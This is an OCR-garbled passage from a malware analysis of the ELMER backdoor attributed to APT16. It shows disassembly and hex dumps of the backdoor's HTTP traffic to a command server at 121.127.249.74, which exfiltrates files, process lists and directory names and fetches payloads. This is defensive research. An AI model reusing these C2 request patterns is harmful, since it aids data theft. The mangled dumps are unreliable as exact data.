O3FEOEGD |75 6C 74 3C|2E 74 §9 74(6C 65 3E 3C|2F 68 65 61|ult</titles</hea na71ooc 4 || cooooooo
D3FEQOE7OD| 64 3E OD DA|3C 62 6F 64|79 3E 3C 68|34 3E CD 83|d>,.<body><h4+-1. 047100cs || 03FEORLD
O3FEQES0|CE 83 CF 83|3C 2F 68 34(3E 3C 2F 62|6F 64 79 3E(I.I.</h4></body> na7ipoce | cooooooo
O3FEOES0|3C 2F 68 74|60 6C 3E O0(E4 BS 18 €7 (F4 Bo 18 67| </html=.&u.gdu. g Y1 razinnnall azeenare

Figure 68

Whether any error occurred during the process creation, the POST request is different (NOT (CD
83 CF 83 CF 83) =32 7C 30 7C 30 7C = “2I010I""):
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! : o e718cEE3 6A 0D push 0
; ! #| 67186B85 8B 45 FC mov eax,dword ptr ss:[febp-4]
e o 6718cEEE EZ BF CB FF FF €811 apt.6718374C
e ®| 67186BED 50 push eax
! ) ®| 67186B8E 8B 45 FC mov eax,dword ptr ss:[[ebp-a]
Lo ®| 67186B91 E8 B6 CD FF FF call apt.67183924C
i o 67186B96 50 push eax
il e 67T186B97 56 push esi
Hg———s E8 A3 DA FF FF €all <apt.sends
ey #| 67136890 438 dec esax
b r----® (| 67 186B9E » TC 02 j1 apt.&7186BAZ
I
<apt.send>
CODE:&7186E98 apt.exe: L6E9E #LF98
; EEEETRER] 00000190 |
Pobumpi @ Dump2 B4 Dump 3 24 Dump 4 24 Dump 5 B watch 1 [x=lLocals 4 !‘3}' 04710074 ung,m:;'gg
Address | Hex ASCII ~ g:;ﬁg;g‘ mnuumlu"n?u
03FEODS0 |50 4F 53 54|20 2F 63 78|70 69 €4 2F|73 75 62 &D|POST fcxpid/subm 04710080 | 047 1DDAD
O3FEODGO| 69 74 2E 70|68 70 3F 53(65 73 73 69|6F GE 49 44|it.phpTSessionID 04710054 | 67 156EBS
03FEOD7O| 3D 31 31 35|20 48 54 54(50 2F 31 2E|30 0D OA 48|=115 HTTP/1.0..H 04710088 | 0471DD98
03FEODSO| 6F 73 74 3A(20 31 32 31|2E 31 32 37(2E 32 34 39|ost: 121.127.249 04710DEC | 67188364
O3FEOD30 | 2E 37 34 3A|24 34 33 OD|0A 55 73 65|72 2D 41 67|.74:443..User-Ag 04710090 | 0O00OO00
03FEODAD| 65 6E 74 3A|20 4D 6F FA|63 6C 6C G1(2F 34 2E 30|ent: Mozilla/4.0 04710094 | O3FEODSO
03FEODBO| 20 28 63 GF|GD 70 Gl 74(69 62 6C 65 |3B 20 4D 53| (compatible; Ms 04710098 | 047 LFF80
O3FEODCO| 49 45 20 37|2E 30 3B 20|57 69 6E 64(6F 77 73 20(IE 7.0; Windows n4TioDac Fer185A49
03FEODDO | 4E 54 20 35|2E 31 3B 20(53 56 31 29|0D 0A 41 63 (NT 5.1; 5V1)..AC oar1ooao | 047 1EFCC
O3FEODEO| 63 65 70 74|3A 20 2A 2F|2A 0D DA 41|63 63 65 70|cept: */*..Accep na7io0A4 || 67158594
O3FEODFO (74 2D 4C 61|6E &7 75 61|67 65 3A 20|65 &E 2D 75|t-Language: en-u par1ooas | 0471FFs0
O3FEOEDO |73 OD OA 43|6F 6E GE 65|63 74 69 GF [6E 3A 20 4B|s..Connection: K nar1io0AC || 67158364
03FEOE10| 65 65 70 2D|41 &C 69 76|65 OD 0OA 43 |6F GE 74 65| eep-Alive..Conte pariooeoll 67188264
O3FEOE20|6E 74 2D 54|79 70 65 3A(20 74 65 78|74 2F 68 74|nt-Type: text/ht 04710084 | 0onoooon
03FEOE20| 6D 6C 0D 0A|43 &F GE 74|65 GE 74 2D|4C 65 6E &7 |ml..Content-Leng pa71ooes | oooooooo
O3FEOE40 |74 68 34 20|37 37 0D DA|OD 0A 3C 68|74 6D 6C 3E|th: 77....<html> n471o0ec | oooooooon
03FEOES0| 3C 68 65 61|64 3E 3C 74|69 74 6C 65 |3E 52 65 73| «<head=<titlexRes oa71ooco | oooooooo
03FEOEGD |75 6C 74 3C Fi 74|6C 65 3E 3C|2F &8 65 &61|ult</titlex</hea 0471000 4 || 0oooDo00
O3FEQE7D| 64 3E OD 0OA|3C 62 6F 64|79 3E 3C 68|34 3E CD 83|d>..<body»<h4>1. narioocz | ozFEDBLIO
O3FEOESO|CF 83 CF 83|3C 2F 68 34(3E 3C 2F 62 |6F 64 79 3E|I.I.</h4></body> na7iooce | 03FEDACE
03FEOE90 | ZC _2F 68 74|60 6C 3E 00|E4 BS 18 7 |F4 BS 13 67 | </html>.0p.gop.g ¥ I haz3nnno ll oooooonn
Figure 69
Case4-EAX =3

We have only observed a POST request performed by the malware (NOT (CC 83 CE 83 CF 83) =
337C 31 7C 30 7C =“311101):

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/

i o s7136833 6A 00 push 0

:: #| 67156885 BB 45 FC mov eax,dword ptr ss:febp-4]

0 e 67186888 EB BF CB FF FF €all apt.6&6718374C

k] ®( 67186B8D 50 push eax

! L ®| 67186BS8E BE 45 FC mov eax,dword ptr ss:[Jebp-4]

T & 67186B91 E8 B& CD FF FF €all apt.&718394C

1 ! #| 67186B96 50 push eax

i ®( 67186897 56 push esi
E]H—:—i—h EB A3 DA FF FF calll <apt.send-

! -

b
<apt.send>
CODE: 67186B98 apt.exe: $6B98 #5F98
Woumpl  @Woump2  @oump3  @oumps @ Dumps @ watch1  [x=lLocals 4 P 0471007 4 nngué?g
Address | Hex ASCII Y e e
O3FEODSO |50 4F 53 54|20 2F 63 78|70 69 &4 2F (72 75 &2 &D|POST Scxpid/subm 04710080 | 047 IDDAD
O3IFEODEO| 69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44|1it.phpTSessionID U_‘%J_DDSJ 6718GEES
OZFECD70O| 3D 32 32 20|48 54 54 S0|2F 21 2E 20|00 0A 48 &F (=22 HTTP/1.0..Ho 0471DDEE | 04710098
0ZFEODBO |73 74 3A 20|31 32 21 2E|(31 32 37 2E|32 34 39 2E|s5t: 121.127.249. 04710DEC | 67188364
O3FEOD9S0| 37 34 3A 34|34 33 0D DA|55 73 65 722D 41 67 65|74:443..User-Age 04710090 | 00000000
OIFEODAD|GE 74 3A 204D 6F 7A 69|6C 6C 61 2F |34 2E 30 20|nt: Mozilla/4.0 04710094 | 03FEODS0
O3FEODBOD| 28 63 6F 6D |70 61 74 69|62 &C &5 3B(20 4D 53 49| (compatible; MSI 047100958 | 047 LFF80
O3FEODCO| 45 20 37 2E|30 3B 20 57|69 GE 64 GF |77 73 20 4E(E 7.0; Windows N U4;'lDD‘3C rc7155E14
O3FEODDO| 54 20 35 2E|31 3B 20 53|56 31 29 OD(0A 41 63 63(T 5.1; 5V1)..Acc 04710040 || 047 1FFCC
O3FEODEQ| 65 70 74 3A|20 2A 2F 2A|0D OA 41 63|63 &5 70 74|ept: */*, Accept U_‘:—J_DDZJ 67183E9A
D3FEODFO( 2D 4C 61 6E (67 75 61 67|65 3A 20 65|6E 2D 75 73|-Language: en-us na7100as | 0471FFE0
O3FEQEODQ|OD DA 43 6F |6E GE 65 63|74 69 6F GE|3A 20 4B 65 |..Connection: Ke na7iooac | 67188364
D3IFEQE1OQ|( 65 70O 2D 41|6C 69 76 65|0D 0OA 43 6F|6E 74 65 GE|ep-aAlive..Conten oa710DE0 || 67188364
O3FECE20|74 2D 54 79|70 65 3A 20|74 65 78 74(2F 68 74 &D|TC-Type: text/htm 04710084 | 0ODO0DDODO
O3FEQOE30(|&C OD 0OA 43|6F 6E 74 65 (6E 74 2D 4C 7 74(1..Content-Lengt U-1-._'J.DDES 00000000
O3FEOE40 |68 3A 20 37|37 0D 0A OD 74|60 &C 2E 3C|h: 77....<himl>< 047100EC | 03FECELD
D3FEOES0| 68 65 61 64|3E 3C 74 69|74 6C 65 3JE|52 65 73 75| heads-<titlexResu D-1--_'J.DDCCI 03FEQACC
O3FEOEGD|6C 74 3C 2F|74 69 74 6C |65 3E 3C ZF |68 65 61 64| ltc/titlex</head n27100c 2 | oooooooo
O3FEQE7OQ| 3E OD 0OA 3C (62 6F 64 79|(3E 3C 68 34 |3E CC 83 CE :\-_._.{bl:ld}f.‘:-*:h4:\-I.I []4;lDDCS 00000000
O3FEOEBO( 83 CF 83 3C(2F 68 34 3E|3C 2F 62 6F|64 79 3E 3C|.I.</hd=</body== a7 10occ | onoooooo
O2FEDES0|2F 68 74 6D |6C 3E 00 0OO0|E4 BS 28 67 (F4 BC 18 €7 | /html>..op.goy.g bl [T ERTE | I

Figure 70
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Case 5—-EAX =

4

A detailed analysis of ELMER Backdoor used by APT16 — CYBER GEEKS

The server provides a file name to be opened by the malicious process. This action might indicate

that the attacker tries to exfiltrate the content of targeted files:

Figure 72

o| 57188844 64 00 push 0
o 57188845 68 80 00 00 0O push 30
el 6718884R 64 03 push 2
e 57185840 64 00 push 0
H 1B8B4F 64 01 push 1
° 188851 68 00 00 00 80 push 30000000
- 188856 8B 45 EO mov eax,dword ptr ss:[Jebp-20]
el 67188859 E8 EE BO FF FF E@8T1 apt.e6718394C
®| GF18885E 50 push eax i
>a E8 C4 BC FF FF €d11 <apt.CreateFilea= e ]
. TS R A 5 | Default {
= als Es
<apt.Createrileax 2: [es
3: [es
4z Be5
CODE:6718885F apt.exe: $885F #7CSF PR e
UWoump1  @Wpump2 Upump3  Woump4  WWoumps @ watch1  Ie=llocals 4 PIOSTinoes :m?lsagsl RERE T
Address | Hex ASCII Yt b
67183951 |74 65 73 74(2E 74 78 74|00 85 D2 7438 8B 4A F8|test.txth.0ts.le 04710094 | 00000003
67183961 |49 74 32 53|89 C3 8B 42 |FC E8 1D FD|FF FF 89 C2 It2S.A.E§§]E:M.A 0471DD 93| 0000000
el D e L 0471005c | 00000000
Figure 71
A POST request is performed by the file, the user agent is the same as in every network
communication:
I #| 57186B83 A 00 push 0
i ®( 67186B85 8B 45 FC mov eax,dword ptr ssifebp-4]
i ®( 67186B88 ES8 BF CB FF FF E&l apt.6718374C
! i . 7 50 push eax
: ; ] 8B 45 FC mov eax,dword ptr ss:[febp-4j
i ] EB B& CD FF FF EE11 apt.6718394C
il o 67186E96 50 push eax
el | 67186897 56 push esi =
Eg— ES A3 DA FF FF €all <apt.send- v =
: : ™ - o e [
RV 2 =]
<apt.send>
CODE: 67186898 apt.exe:$6B98 #5F98 A
GeDump 1l  @YDump2 Y Dump3 Y Dump4 B Dump S @ Watch1  [*=lLocals 4 P 047 1DD7 3 QEFE“%?E "pOST
Address | Hex ASCII ~ e e
O3FEOC7 4 [iS@] 4F 53 54|20 68 74 74|70 3A 2F 2F|31 32 31 2E|PBOST hitp:// /121. 047 1DDS0 | 0471DDAD | Point
O3FEOCS4(31 32 37 2E(32 34 39 2E(37 34 3A 34|34 33 2F 73|127.249.74:443/s 04710054 | 67156EEE | apt. &
O03FEOC94 |65 6E 64 2E|70 68 70 3F |69 64 3D 34|36 20 48 54|end.php?id=46 HT 04710023 | 0471DD98 Bt
O3FEOCA4|54 50 2F 31|2E 30 0D OA|41 63 63 65|70 74 3A 20| TP/1.0..Accept: 047 1DDSC | 67188364 | apt. 6
O3FEOCB4 (24 2F 2A 0D |0OA 41 63 63|65 70 74 2D |4C 61 6E &7 |*/*..Accept-Lang 04710090 | 000002 44
O3FEOCC4(75 61 &7 65 |3A 20 65 GE|2D 75 73 OD|0A 48 6F 73|uage: en-us..Hos 04710094 | D3FEDCT4 | "POST
O3FEOCD4 (74 3A 20 31(32 31 2E 31(32 37 2E 32|34 3% 2E 37|€: 121.127.249.7 047100938 | DATLFFS0
O3FEOCE4 |34 3A 34 34|33 0D 0A 50|72 61 67 &D |61 3A 20 &E|4:443..Pragma: n 0471D03C IF671888B5 | retur
O3FEOCF4(6F 2D 63 61|63 &8 65 0D |0A 55 73 65|72 2D 41 &7|o-cache..User-Ag 047100a0 | 0471FFCe| Point
O3FEODO4 |65 6E 74 3A|20 4D 6F 7FA|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/4.0 047100a4 || 67155894 apt. &
O3FEOD14 (20 28 63 6F (gD 70 &1 74|69 62 6C &5 (3B 20 4D 53| (compatible; MS na7iooas | 047 1FF80 Bt
O3FEOD24 (49 45 20 36|2E 30 3B 20|57 69 6E 64 |6F 77 73 20|IE 6.0; windows oa7100ac || 67188364 apt.s
O3FEOD34(4E 54 20 35(2E 31 3B 20|53 56 31 29|0D OA 43 6F|NT 5.1; Svi)..Co oa710080 | 671883264 apt.E
O3FEOD44 | 6E 74 65 GE |74 2D 4C &5 |6E 67 74 &8|3A 20 34 OD|ntent-Length: 4. ps71ooe4 || poDo0o0OD '
O3FEOD54|0A 43 &F GE|74 65 6E 74 (2D 54 79 70|65 3A 20 6l(.Content-Type: a na71ooes | oooooooo
O3FEODG4 |70 70 6C 69|63 61 74 69|6F 6E 2F 6F |§3 74 65 74|pplicationfoctet o271ooec | oonooooo
O3FEOD74|2D 73 74 72|65 61 6D OD|0A 43 &F 6E|GE _GS €3 74| -stream..Connect n471ooco | oonooooo
O3FEODS84| 63 6F G6E 3A|20 4B 65 65|70 2D 41 6C |69 76 65 OD|ion: Keep-aAlive. fa71onc 4 | oooooooo
O3FEOD94|0A OD DA 00|E4 BS 18 67 |F4 BS 18 7|64 32 00 00| ....o0y.gou.gd2.. | st

The process reads the content of the specified file by using a ReadFile function call:
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e (| 671B858FF 64 0O push 0
#| 67188901 8D 45 EC lea eax,dword ptr ss:febp-14]
®| 67158304 50 push eax
® | 571883905 &8 00 10 00 00 push 1000
#| 67158930A 8D B5 C8 DF FF FF Tea eax,dword ptr ss:[febp-z035]
®| 67188910 co push eax
#| 67158911 53 push ebx
>0 EB Bl BC FF FF call capt.ReadFilex
ol r7rinnna = EERC T T
<

<apt.ReadFilex

CODE: 67188912 apt.exe:$89312 #7D12

Wpump1  @pump? @Woump3  @Woumps  WHpumps @ warch1  Ix=llocas 1 PGaTinDe0
Address | Hex ASCII e
0471DF48 |00 00 00 DU‘DD o0 00 Dl:l||:||:l 00 00 OO|00D 00 OO OD| .. cvoevnsnannns 0471DD3C
0471DF58|(00 OO OO0 QO|00 0O OO OO|OO OO0 OO QO[O0 OO0 DO QO] . ... nnnnnns

MATATD AN

Figure 73

The content of the targeted file is exfiltrated to the CnC server using the send function:

00000244
0471DF48
00001000
0471FF&C
00000000

AT e

b . 6A 00 push 0
b . 8B 45 EC mov eax,dword ptr ss:|[[ebp-14]
! . 50 push eax
i 0 L 8D 85 C8 DF FF FF Tea eax,dword ptr ss:|[lebp-20358]
P ] 50 push eax
1 * Al EQ AD 1B &7 mov eax,dword ptr ds: [6718A0EQ]
. . 8B 00 mov eax,dword ptr ds:[eax
U '] 50 push eax I
[E LP gy ey 2L E8 FA BC FF FF €all <apt.send> w |—
b . An AF Fa o N R ——  py——_—y  e— Def
i > ==
£ 12
<apt.send> 2:
3:
4:
CODE: 67188941 apt.exe:$5941 #7D41 —
1 00000190
Hi'lilDUmlﬂl MDUI'HDZ MDUITIFIS WDUITIFI‘} WDUMDE @Watchl |x=] Locals 4 E} 0471DD94 | 0471DE48 | "TEST"
add 0471DD98 | 0D0DDOD4A
ress | Hex [AscIx I 0471DD2C | 00000000
D471DF48 54 45 53 54|00 00 00 00|00 0D OO0 OD[0O0 OD OO0 OO|MEST. . vvrunanssn | e P e =
Figure 74
Case 6 - EAX =5
We believe that this command is responsible for downloading other malware payloads. There is
only a GET request to the same C2 server:
P ®| 67186E83 6A 0D push O
! ! ®( 67186B55 BB 45 FC mov eax,dword ptr ss:|[Jebp-4]
0 ®| 671BGEEE ES BF CB FF FF €all apt.6718374C
b ®| 671BEBED 50 push 2ax
! ] #| 67156BBE BB 45 FC mov eax,dword ptr ss:[Jebp-4f
i ®| 67186B91 E8 B6 CD FF FF call apt.6718394C
il ¢( 67186696 50 push eax
! ! ®( 67186B97 56 push esi
|EH—:—!—>- EB A3 DA FF FF call zapt.send>
) M oy e P
&d <
<apt. send>
CODE: 67186E98 apt.exe: $6B958 #5F98
. IEEEETIEN] 00000190 |
HiUDUI'I'IIJl MDUITIDZ MDUITIDS MDUITID‘* MDUMDE @ Watch 1 [‘T=|L!d5 0471DD7 4 | 02FEDCOC | “"GET
Address | Hex ASCIT -~ gz;ﬂg;g GOO000ES
03FEOCOC |47 45 54 20|68 74 74 70|3A 2F 2F 31|32 31 2E 31|GET http://121.1 04710080 uD4u?umuuDuAuDu e
O3FEQCIC |32 37 2E 32|34 39 2E 37|34 3A 34 34|33 2F 71 75 (27.249.74:443/qu []4."J.DDS4 67186BBS | apt E
03FEOC2C|65 72 79 2E|70 &8 70 3F|69 64 3D 33|37 39 20 48| ery.php?id=379 H 0471008 | 04710098 -
0O3FEOC3C |54 54 50 2F |31 2E 30 OD|0OA 41 63 63|65 7O 74 3A|TIP/1.0..ACcept: U4;lDDSC 67188364 |apt.
03FEOC4C |20 2A 2F 2A|0D 0A 41 63|63 65 70 74|2D 4C 61 &E| =*/*..Accept-Lan 04710090 | oODOOOO0 2
O3FEOCSC (67 75 61 &7 (65 3A 20 65 |6E 2D 75 73 |0D 0A 48 6F|guage: en-us..Ho []4."J.DD94 03FENCOC | "GET
03FEOCEC |73 74 3A 20|31 32 31 2E|31 32 37 2E|32 34 39 2E|s5t: 121.127.249. 04710038 | 047 1EF80
O3FEOCFC |37 34 3A 34|34 33 0D 0A |50 72 61 &7 |6D 61 3A 20| 74:443..Fragma: []4;1DD9C 67 188B40 | retur
03FEOCSC | 6E &F 2D 63|61 &3 6B 65 |0D OA 55 73|65 72 2D 41| no-cache.. User-A 04710040 | 0471EFCC| Pod 0t
O3FEOCIC |67 65 GE 74|3A 20 4D GF|7A 69 6C 6C (61 2F 34 2E|gent: Mozilla/4. []4l‘-lDD:4 67185E9A aat E
03FEOCAC |30 20 28 62|6F 6D 70 61|74 69 62 &C|65 2B 20 4D |0 (compatible; M []—1l_J.DD'_‘\S 047 1FFE0 :
O3FEOCBC (53 49 45 20|36 2E 30 3B|20 57 69 GE|64 6F 77 73|S5IE 6.0; Windows []4;1DD?C G67188364| apt. €
03FEOCCC |20 4E 54 20|35 2E 21 3B|20 52 56 21|29 0D 0A 43| NT 5.1; SV1)..C []4"-1DDEU 67183364 apt-i
O3FEOCDC [ 6F 6E 6E 65|63 74 63 6F [GE 3A 20 4B|65 &5 70 2D|onnection: Keep- na71ooe4 | oooooooo )
03FEOCEC| 41 6C 69 76|65 0D OA OD|0A OO 00 OO|E4 BS 18 &7 |Alive.......0u.0 s | |o ettt R R,
Figure 75
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Case7-EAX =6

The CreateToolhelp32Snapshot API is utilized to take a snapshot of the processes, the first
parameter being 0x2 (TH32CS_SNAPPROCESS - all processes in the system):

67187077 56 push esi
67187078 L3 push ebx
FF 15 A4 B&6 18 &7 €all dword ptr ds:[<&CreateToolhelp3zsnapshot=]

]
1
]
]
i
i
dword ptr [6718B6A4 <apt.&CreateToolhelp3zsnapshot>]=<kernel3z.CreateToolhelp3zsnapshot>

T (.

CODE: 67187079 apt.exe: §7079 #6479

: CO0o0002
WWoump1  @Ypump2z @Wpump3 @Wpump4 @oumps P watch1  [x=lLocals 4 pmo“? 1DC34 | 00000000

Figure 76

All running processes on the system are retrieved by using the Process32First and Process32Next

functions:

. ®( 67187097 56 push esi

e @ 67187098 53 push ebx

! ®| 67187099 FF 15 BC B& 18 &7 €811 dword ptr ds:[<&Process3ZFirst>]

Pl e 6718709F SE pop esi

i e 67187040 EE pop ebx

b e 67187041 Cc3 ret

| L2 e7187042 32 CO XOr eax,eax

! ®( 67187044 SE pop esi

! ®( 67187045 5B pop ebx

i ®( 67187046 Cc3 EEE

1 ® || 67187 0AT 90 nop

i ®| 671570AS 53 push ebx

; ®( 671870A9 5e push esi

! | 67157048 8B F2 mov esi,edx

' ®| 67187 0AC 8B D& mov ebx,eax

| ®( 571870AE E8 39 FD FF FF €811 apt.&7186DEC

i e[ 67187083 84 CO test al,al

| r——--#| 67187 0B5 ~ T4 0B je apt.&71870C2

0= e 67187087 56 push esi

igh) ®|| 67137088 53 push ebx
mﬂ—:—:—)- FF 15 CD B6 18 &7 €all dword ptr ds:[<&Process3zNext:>]

[ [ ] T R

i i<
dword ptr [6718B6&CO <apt.&Processiz2Mext>]=<kernel32.Process3ZNext>
CODE: 671870B9 apt.exe: $70B9 #64B9
Woump1  @pump2 @Hoump3 @oump4  @Woumps @ watchi  [Ix=llocals 4 W[Garancas 04?10(2:;:
Address | nex ASCII || 2471DC3E| 67188364
0471DC64 28 01 00 00|00 OO OO 00|00 00 OO0 OO(00 OO0 00 OO|f...... .. cuvuuus Si_igg_ﬁ g?ig?égg
0471DC74 (00 00 00 00|01 00 OO0 00|00 00 00 00|00 00 00 O0(.....ccvueeunn.. D4710C 44 | 047 1DDAG
0471DC34| 00 00 00 OO0 (5B 53 79 73|74 65 6D 20|50 72 6F 63|....[5ystem Proc 0471pc 48| 67187F12
0471DC94 |65 73 73 5D |00 OO OO OO|00 OO0 OO0 OO|00 OO0 OO0 00| e55]....veucunns = e e Pl e e e

Figure 77

The list of processes is exfiltrated to the CnC server. By decoding the encoded information, we can
observe the following string in the beginning “6l11System Idle

I”

ProcesslOISysteml4lsmss.exel500Icsrss.exel604
buffer):

(note the process name and the process ID in the
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i ®|E7186B82 6A DD push 0

! #®| 67186B85 BB 45 FC mov eax,dword ptr ss:[febp-4]

i [ 186BE88 ES BF CB FF FF €&T11 apt.&718374C

i ®| 67186E8D 50 push eax

i ®| 67186EB8E BB 45 FC mov eax,dword ptr ss:[febp-4]

] #|| 67136B91 E8 B6 €O FF FF call apt.&718394C

! ®| 67186E96 S0 push eax

! ®( 671836897 56 push esi
mﬂ—!—h\ E8 A3 DA FF FF €all <apt.send>

: L ]
<apt.send>
CODE: 6718668938 apt.exe:$6B98 #5F38
#4% Dump 1 PeDump2 B Dump3 B Dump4 B4 Dump 5 @ watch 1 [e=llocals 4 W 0471DC1E 03“2;3{;
Address | Hex ASCII ~ |G ine it G
OZFE2838|50 4F 53 54|20 2F 63 78|70 69 64 2F |73 75 62 6D |POST Scxpid/subm 04710C24 | 0471DC44
03FE2848(62 74 2E 70|68 70 3F 53|65 73 73 69|6F 6E 49 44|it.phpTsessionID 04710025 | 671B6EEE
03ZFE2858( 3D 31 37 34|20 48 54 54(50 2F 31 2E (30 0D 0A 48|=174 HTTF/1.0..H []47J.DC:’C 04710 3C
03FE2868|6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39|ost: 121.127.249 04710030 | 67188364
O3FE2878|2E 37 34 3A|34 34 33 OD|0A 55 73 65|72 2D 41 67(.74:443,.User-Ag 04710C34 | DO0DODDZ 44
03FE2888|65 6E 74 3A|20 4D 6F 7A|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/ 4.0 04710035 | 03FE2838
0O3FE2898| 20 28 63 6F (gD 70 &1 74(69 62 6C &5 (3B 20 4D 53 (compatible; MS []4'_ch3{ 04710098
03FE28A8( 49 45 20 37|2E 30 3B 20|57 69 6E 64|6F 77 73 20| IE 7.0; Windows n471Dc40 re7187E79
O3FE28B8|4E 54 20 35|2E 31 2B 20|53 56 21 29|00 0A 41 &3 (NT 5.1; 5VWl1)..AC n4710c 42 | 04710DA0
03FE28C8(63 65 70 74|34 20 2A 2F|2A 0D DA 41|63 63 65 70|cept: =/*_ _Accep nezincas | 67187F12
O3FE28D8(74 2D 4C 61(6E 67 75 61|67 65 3A 20|65 6E 2D 75|t-Language: en-u n471pc4c | 04710093
O3FE28ES8|73 0D OA 43|6F 6E 6E 65|63 74 63 6F | 6E 3A 20 4B(s..Connection: K 04710050 | oooooooo
O3FE28F8|65 65 70 2D|41 6C 69 76|65 0D DA 43 |6F 6E 74 65| eep-aAlive..Conte 0471005 2 | ooooooon
O3FEZ2908(6E 74 2D 54|79 70 65 3A|20 74 65 78|74 2F €8 74| nt-Type: text/ht 04710058 | 03FE1C44
03FE2918|6D 6C 0D DA|42 G6F GE 74|65 GE 74 2D|4C 65 &E &7 |ml..Content-Leng ns7apcse | ozFELT 28
03ZFE2928(74 653 3A 20|31 33 31 36|0D OA OD OA|3C 68 74 6D | th: 1316....<htm f]4;lDCGlTI O03FEL714
03FE2938|6C 3E 3C 68|65 61 64 3E Z Z4|6C 65 2E 52| 1»<head=<titlexR ns7ioces | oooooizs
O3FE2948(65 73 75 6L |74 3C 2F 74|69 74 6C 65 |3E 3C 2F 68| esult</title=</h []4."IDC56.' 00000000
03FE2958|65 61 64 3E|0OD OA 3C 62 |6F 64 79 3E|3C 68 24 3E|ead>..<body=<h4x ne7ipcec | oooooEsD
03FE2968|C9 83 CE 83 |(AC 86 BC BB|(9A 92 DF B&6|9B 93 9A DF E.I.—-..._._.Bﬂ...fi L-H'—_J_Dc_'u 00000000
03FE2978(AF 8D 90 9C |94 8C BC 83 |CF 83 AC 86|BC 8B 94 92| ....... R n471pc 72 | oooooooo
03FE2988| 83 CB 83 8C|(92 8C B8C D1(9A BF 9A 83 | CA CF CF 83 .E.....FI...,_EII. na71ipc7a | ooooooos
03FE2998(9C 8C 8D BC|BC D1 94 87|94 83 C9 CF|CB 83 88 96(..... i ] =1 04710c7e || ooonoz7 4
O3FE29A8(91 96 91 96 (8B D1 9A BF(9A B3 C9 CB|CD B3 9C BC FIEEI f]4;lD’;'lTl a000000s
O3FE29B8| 8D BC 8C D1|5A 87 9A 83|C9 C7 CB 83|88 96 91 93|...R....ECE..... W h4;|nF§4 SR

Figure 78

Case 8§ —-EAX =7

The GetFileAttributesA API is used to retrieve file system attributes for the current directory, as

shown in figure 79:

o 67185 1ES

50

E& 7D F3 FE FF

push eax
€all <apt.GetFileAttributesA>

|E i
v

| Defauilt (stdcal)

<apt.GetFileAttributesA>

CODE:671851E6 apt.exe:$51E6 #45E6

L e

Gl

Gl o

Gl e

7T

[ R

Figure 79

R e mEﬂ!@E’ D3FEOQACS | "C:Y\Users),

1: [esp] DIFEQACE "C:\\
2: [esp+4] 67188364 apt
3: [esp+8] 00000001

4: [esp+C] 67188043 apt

The current directory name is sent to the CnC server in the following form “7l1IDirectory namel”:

https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/

36/38



6/2/22,5:26 PM

A detailed analysis of ELMER Backdoor used by APT16 — CYBER GEEKS

If EAX > 7, the process performs a few recv function calls and jumps back to the switch

instruction.

References

Decryption algorithm: https://github.com/Rackedydig/string_decode_algorithm_apt16

FireEye APT groups: https://www.fireeye.com/current-threats/apt-groups.html

ik e || 67186883 64 00 push 0

L #| 67186BE5 BB 45 FC mov eax,dword ptr ss:|ebp-4]

! i ®|| 5718GEBE3 E8 BF CE FF FF call apt.&718374C

! ! ®|| GT1BGEBED 50 push eax

! ] L] BB 45 FC mov eax,dword ptr ss:|[febp-4)

il @ E8 B6 CD FF FF €811 apt.6718394C

:: . 50 push eax

L [ 56 push esi
E— ES A3 DA FF FF €all <apt.send>

! E G 458 dec eax

1 Tt

i =
<apt.send:>
CODE: 67156898 apt.exe: $6B98 #5F938
#oump1  @loump2 @Woump3  @oump4  @Wpoumps @ watthi  I=lloals { Ploerannce QEFEQ;acu
e 3 | a373883 Soneanss
D3FEODBC |50 4F 53 54[20 2F 63 78|70 69 64 2F[73 75 62 6D|POST /cxpid/subm RTINS ET T
O3FEODCC |69 74 2E 70|68 70 3F 53(65 73 73 69|6F GE 49 44|1it.php?SessionID 04710045 | 67186B88
O3FEODDC | 3D 31 33 30|20 48 54 54|50 2F 31 2E(30 OD 0A 483|=130 HTTP/1.0..H 047100 4C | 04710D5C
O3FEODEC |&F 73 74 3A|20 31 32 31(2E 31 32 37|2E 32 34 39|ost: 121.127.249 04710050 | 67188364
O3FEODFC| 2E 37 34 3A |34 34 33 OD(0A 55 73 65|72 2D 41 &7 |.74:443..User-Ag 0471005 4 | 00000000
O3FEOEOC |65 GE 74 3A|20 4D &F TA(|69 6C 6C 61|2F 34 2E 30|ent: Mozilla/ 4.0 04710055 | 02FEQDBC
OIFEQELC (20 28 63 6F gD 70 €1 74|69 62 &C 65 (3B 20 4D 53| (compatible; MS [‘4;1DD5C 04710098
O3FEOE2C| 49 45 20 37|2E 30 3B 20|57 69 6E 64(6F 77 73 20|IE 7.0; Windows 0471DDE0|F67188118
O3IFEQE3C | 4E 54 20 35|2E 31 3B 20|53 56 31 29|00 0A 41 &3 |NT 5.1; 5V1)..AcC D4:‘J.DD@4 047 1DDAD
O3FEOE4C |63 65 70 74|3A 20 2A 2F(2A OD 0A 41|63 63 &5 70| cept: */*..Accep na7i00es || 67188198
O3FEDESC |74 2D 4C 61 |6E 67 75 61(6F7 65 3A 20|65 6E 2D 75|t-Language: en-u []4TiDDf-:C 04710098
O3FEOEGC |73 OD DA 43 |6F 6E 6E 65 (63 74 69 G6F[6E 3A 20 4B|s..Connection: K na710070 | sooboooo
OIFEQOEFC |65 65 70 20|41 &6C &9 76|65 0D OA 43 |(6F &6E 74 65| eep-Alive..Conte na71ipo74 || pooooooo
O3FEOEBC |6E 74 2D 54|79 70 65 3A(20 74 65 78|74 2F 88 74| nt-Type: text/ht na71oo72 | 03FEDRTS
OIFEQESC (6D &C 0D 0OA|43 6F GE 74|65 GE 74 2D |4C 65 GE &7 |ml..Content-Leng [‘4;1DD;C 00000000
O3FEOEAC |74 68 3A 20|39 36 0D OA(OD 0OA 3C 68|74 6D &C 3E|th: 96....<html> 04710080 || 03FEOR20
O3IFEQEBC | 3C 68 65 61|64 3IE 3C 74|69 74 6C 65 |3E 52 65 73| <head=<titlexRes ﬁ4;lDDS4 0D3FENAEC
O3FEOECC |75 6C 74 3C ¥ Z4|6C 65 3E 3IC|2F 68 65 61| ult</titlesx</hea na71opss | 03FEDAFC
